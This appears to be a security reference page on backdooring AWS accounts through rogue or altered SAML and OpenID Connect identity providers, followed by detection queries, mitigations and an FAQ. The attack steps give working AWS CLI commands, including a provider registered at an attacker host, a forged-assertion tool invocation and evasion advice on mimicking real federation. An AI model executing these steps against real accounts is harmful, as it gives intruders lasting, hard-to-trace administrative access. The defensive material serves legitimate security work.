How it works
AWS lets a role be assumed by identities that live outside AWS. An IAM identity provider entry tells the account which external issuer to trust, and a role's trust policy names that entry as a Federated principal. AWS STS then exchanges a signed statement from the issuer for a role session:
- SAML 2.0. The provider entry holds a metadata document with the issuer name and the certificates that verify the issuer's signatures.
AssumeRoleWithSAMLaccepts a SAML response signed by a matching key. - OpenID Connect. The provider entry holds the issuer URL and a list of client IDs (audiences).
AssumeRoleWithWebIdentityaccepts an ID token whoseissis the registered URL, whose audience is in the list, and whose signature verifies against the keys the issuer publishes.
In both cases AWS never sees a password. It trusts whoever holds the issuer's signing key. An attacker who can write IAM configuration turns that into a backdoor by making their own key a trusted issuer. Three variants are in use:
- New SAML provider. The attacker generates a key pair, wraps the certificate in a metadata document, registers it with
CreateSAMLProviderand adds the provider to a role trust policy. - Metadata replaced on an existing provider.
UpdateSAMLProviderswaps the metadata of a provider that roles already trust, or adds a second signing certificate to it. No trust policy changes, and every role that trusts the provider now accepts assertions the attacker signs. This is the cloud-side cousin of Golden SAML, where the attacker steals the real signing key instead of replacing it. - Attacker OIDC provider or added client ID.
CreateOpenIDConnectProviderregisters an issuer the attacker hosts.AddClientIDToOpenIDConnectProviderwidens an existing provider with one more accepted audience, which matters when roles check the audience but not the subject.UpdateOpenIDConnectProviderThumbprintchanges which TLS certificate AWS accepts when it fetches the issuer's keys, for issuers whose certificate is not signed by a certificate authority AWS already trusts.
The result is a form of cross-account access with no account on the other side: the trusted party is a key.
Prerequisites
- IAM administrative access in the target account. For a new provider:
iam:CreateSAMLProvideroriam:CreateOpenIDConnectProvider, andiam:CreateRoleoriam:UpdateAssumeRolePolicyto make a role trust it. For the metadata swap:iam:UpdateSAMLProvideralone. For the audience variant:iam:AddClientIDToOpenIDConnectProvideralone. - For SAML: a signing key pair and a metadata document. The API requires the document to be at least 1,000 characters long.
- For OIDC: a public HTTPS endpoint the attacker controls that serves an OpenID Connect discovery document and a JSON Web Key Set, and the private key that signs the ID tokens. AWS accepts RSA (RS256, RS384, RS512) and ECDSA (ES256, ES384, ES512) signatures.
- A role worth assuming. The trust statement is the only thing that limits the backdoor: a role with a broad permissions policy and a trust statement that names the rogue provider is full account access.
Roles created by IAM Identity Center are out of reach of this path: AWS states that AssumeRoleWithSAML does not work on roles whose names start with AWSReservedSSO_.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Map the existing federation
# Providers already registered in the account
aws iam list-saml-providers
aws iam list-open-id-connect-providers
# Issuer metadata of one SAML provider, and the client IDs of one OIDC provider
aws iam get-saml-provider \
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorpADFS
aws iam get-open-id-connect-provider \
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/idp.example.com
Roles that trust a provider carry its ARN in their trust policy under Principal.Federated. aws iam list-roles returns each role's AssumeRolePolicyDocument, so one call shows which roles a metadata swap would open.
2a. Register a new SAML provider
aws iam create-saml-provider \
--saml-metadata-document file://metadata.xml \
--name CorpSSO-Backup
metadata.xml is an EntityDescriptor with an IDPSSODescriptor and a signing KeyDescriptor that holds the attacker's certificate. Then make a role trust the provider. The trust policy below is the standard SAML form:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": { "Federated": "arn:aws:iam::111122223333:saml-provider/CorpSSO-Backup" },
"Action": "sts:AssumeRoleWithSAML",
"Condition": { "StringEquals": { "SAML:aud": "https://signin.aws.amazon.com/saml" } }
}
]
}
# Add the statement to an existing privileged role (the document replaces the whole trust policy)
aws iam update-assume-role-policy \
--role-name OrganizationAdmin \
--policy-document file://trust.json
Changing the trust policy is its own attack and is covered in role trust policy backdoor.
2b. Or replace the metadata of a trusted provider
aws iam update-saml-provider \
--saml-metadata-document file://metadata.xml \
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorpADFS
A careful operator keeps the organization's real signing certificate in the new document and adds a second KeyDescriptor with their own, so that workforce sign-in keeps working and nobody opens a ticket.
2c. Or register an OIDC provider, or widen one
# New issuer under the attacker's control
aws iam create-open-id-connect-provider \
--url https://oidc.attacker.example \
--client-id-list sts.amazonaws.com
# One more accepted audience on a provider that roles already trust
aws iam add-client-id-to-open-id-connect-provider \
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/idp.example.com \
--client-id attacker-app
--thumbprint-list is optional on creation. When it is left out, IAM retrieves the thumbprint of the top intermediate certificate authority of the issuer's server certificate. A role trusts the new issuer with a statement whose principal is the provider ARN, whose action is sts:AssumeRoleWithWebIdentity, and whose conditions use the issuer host as key prefix (oidc.attacker.example:aud, oidc.attacker.example:sub).
3. Sign an assertion and exchange it
For SAML, the response must carry an attribute named https://aws.amazon.com/SAML/Attributes/Role whose value is the role ARN and the provider ARN as a comma-delimited pair, and a RoleSessionName attribute. Any SAML library can build and sign it with the private key that matches the uploaded metadata. shimit, written for the Golden SAML attack, builds a response from a private key and certificate, signs it and calls AssumeRoleWithSAML in one step:
python shimit.py -idp https://sso.corp.example.com/saml -pk key.pem -c cert.pem \
-u 'CORP\alice' -n alice@corp.example.com -r OrganizationAdmin -id 111122223333
With a response produced by other means, the exchange is a single unsigned call:
aws sts assume-role-with-saml \
--role-arn arn:aws:iam::111122223333:role/OrganizationAdmin \
--principal-arn arn:aws:iam::111122223333:saml-provider/CorpSSO-Backup \
--saml-assertion "$(cat response.b64)"
For OIDC, sign an ID token whose iss is the registered URL and whose aud is a registered client ID, then:
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::111122223333:role/DeployRole \
--role-session-name ci-runner \
--web-identity-token "$(cat id_token.jwt)"
Both calls return an access key ID, a secret access key and a session token. The session lasts one hour by default and up to the role's maximum session duration, which can be set as high as 12 hours.
Impact
The attacker can mint a fresh role session whenever they want, from any network, for as long as the provider entry and the trust statement exist. Rotating every access key and resetting every password in the account changes nothing, because the credential is a private key that was never stored in AWS.
The reach is whatever the trusting roles can do. A metadata swap on the workforce SAML provider opens every federated role at once, including administrator roles. Sessions that were already issued stay valid until they expire, so removing the provider does not end an active session.
OPSEC and artifacts
- Blending in with federation. Operators name the provider like an existing one (
CorpADFS-DR,Okta-Prod2) or reuse the organization's own issuer name inside the metadata. The provider still appears inlist-saml-providerswith its own creation date, and CreateSAMLProvider or CreateOpenIDConnectProvider is in CloudTrail with the caller's identity. - Updating instead of creating. A metadata swap avoids a new object and a trust policy change. It still writes UpdateSAMLProvider, and the stored metadata now contains a certificate the identity team never issued.
- Adding an audience instead of an issuer. AddClientIDToOpenIDConnectProvider is a small change that is easy to miss, and the client ID stays in the provider's list.
- No credentials at use time. The STS exchange is unsigned, so there is no access key to trace. CloudTrail still records
AssumeRoleWithSAMLandAssumeRoleWithWebIdentityin the account that owns the role, with the role ARN, the provider ARN, the source address, and the subject: AWS documents that the entry includes the SAMLNameIDor the token'ssubclaim. - Spoofed subject. The attacker chooses the
NameIDand the session name, so the session can carry a real employee's name. The source address and the provider ARN cannot be forged. - Role session activity. Everything done afterwards is logged under the assumed role with
sessionContext.sessionIssuerset to the role, like any federated session.
Detection
The durable change is rare and administrative, so the creation and update events are the strongest signal.
- Provider created or changed. Alert on all five IAM operations. They should happen only during planned federation work. The identity provider detection rules cover SAML and OIDC providers, and UpdateOpenIDConnectProviderThumbprint is included.
- Trust policy now names a provider. A role whose trust policy gains a
Federatedprincipal shortly after a provider is created is the second half of the backdoor. See the role trust policy rules and the UpdateAssumeRolePolicy event. - First use. An
AssumeRoleWithSAMLorAssumeRoleWithWebIdentityevent whose provider ARN, subject or source address has not been seen before. - Sign-in without a match at the IdP. A federated role session with no corresponding sign-in in the identity provider's own log was not issued by that provider.
-- Athena, CloudTrail table: provider changes and the federated sessions that follow
SELECT eventtime, eventname, useridentity.arn AS caller, sourceipaddress,
json_extract_scalar(requestparameters, '$.roleArn') AS role_arn,
json_extract_scalar(requestparameters, '$.principalArn') AS provider_arn,
errorcode
FROM cloudtrail_logs
WHERE (eventsource = 'iam.amazonaws.com' AND eventname IN
('CreateSAMLProvider', 'UpdateSAMLProvider', 'CreateOpenIDConnectProvider',
'AddClientIDToOpenIDConnectProvider', 'UpdateOpenIDConnectProviderThumbprint'))
OR (eventsource = 'sts.amazonaws.com' AND eventname IN
('AssumeRoleWithSAML', 'AssumeRoleWithWebIdentity'))
ORDER BY eventtime
Add the time and partition predicates of your own table before running it. A provider registration alone does not prove an attack: it makes access possible, and the later STS event shows that someone used it. An IAM Access Analyzer external access finding on a role describes access that the trust policy makes reachable. It carries no session record, so it cannot show whether the path was used.
Mitigation
- Restrict who can manage identity providers. AWS's own guidance for
CreateOpenIDConnectProvideris to limit it to highly privileged users. Deny the provider and trust policy operations with a service control policy for everyone except a named federation administration role. - Use IAM Identity Center for workforce access in place of per-account SAML providers, so that accounts hold no hand-managed provider that can be swapped. The IAM Identity Center guide covers the setup.
- Constrain every federated trust statement. Require
SAML:audfor SAML roles and both the audience and the subject for OIDC roles. A role that checks only the audience is opened by a single added client ID. - Keep a baseline of provider metadata. Store a hash of each approved SAML metadata document and each OIDC client ID list, and compare them on a schedule. An unexpected certificate or audience is the finding.
- Remove providers that nothing uses. An unused provider is standing exposure until a role trusts it.
- After an incident, delete or restore the provider, remove the trust statement, and revoke the role's active sessions. Sessions issued before the cleanup remain valid until they expire.
Detection rules for this attack
Log events to collect
FAQ
Why is a rogue identity provider harder to find than a backdoor IAM user?
It leaves no principal in the account. There is no user, no password and no access key to list or rotate. The only durable objects are the provider entry and a role trust statement that names it, and both look like ordinary federation setup. The signing key stays on the attacker's side.
Does creating an identity provider give access by itself?
No. A provider only makes access possible. A role's trust policy must name the provider as a federated principal before AssumeRoleWithSAML or AssumeRoleWithWebIdentity succeeds. Replacing the metadata of a provider that roles already trust is the exception: every role that trusts it accepts the attacker's signature at once.
Do the STS calls that use the backdoor need AWS credentials?
No. AWS states that AssumeRoleWithSAML and AssumeRoleWithWebIdentity do not require AWS security credentials. The caller is validated by the signature on the assertion or token, so the attacker can call STS from anywhere.
How do you detect it?
Alert on every CreateSAMLProvider, UpdateSAMLProvider, CreateOpenIDConnectProvider, AddClientIDToOpenIDConnectProvider and UpdateOpenIDConnectProviderThumbprint event in CloudTrail and match it to a federation change record. Then review AssumeRoleWithSAML and AssumeRoleWithWebIdentity events for providers, subjects and source addresses that the identity team does not know.
References
- Domain or Tenant Policy Modification: Trust Modification, T1484.002 (MITRE ATT&CK)
- CreateSAMLProvider (IAM API Reference)
- UpdateSAMLProvider (IAM API Reference)
- CreateOpenIDConnectProvider (IAM API Reference)
- AssumeRoleWithSAML (AWS STS API Reference)
- AssumeRoleWithWebIdentity (AWS STS API Reference)
- Configure SAML assertions for the authentication response (IAM User Guide)
- shimit: a tool that implements the Golden SAML attack (CyberArk)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.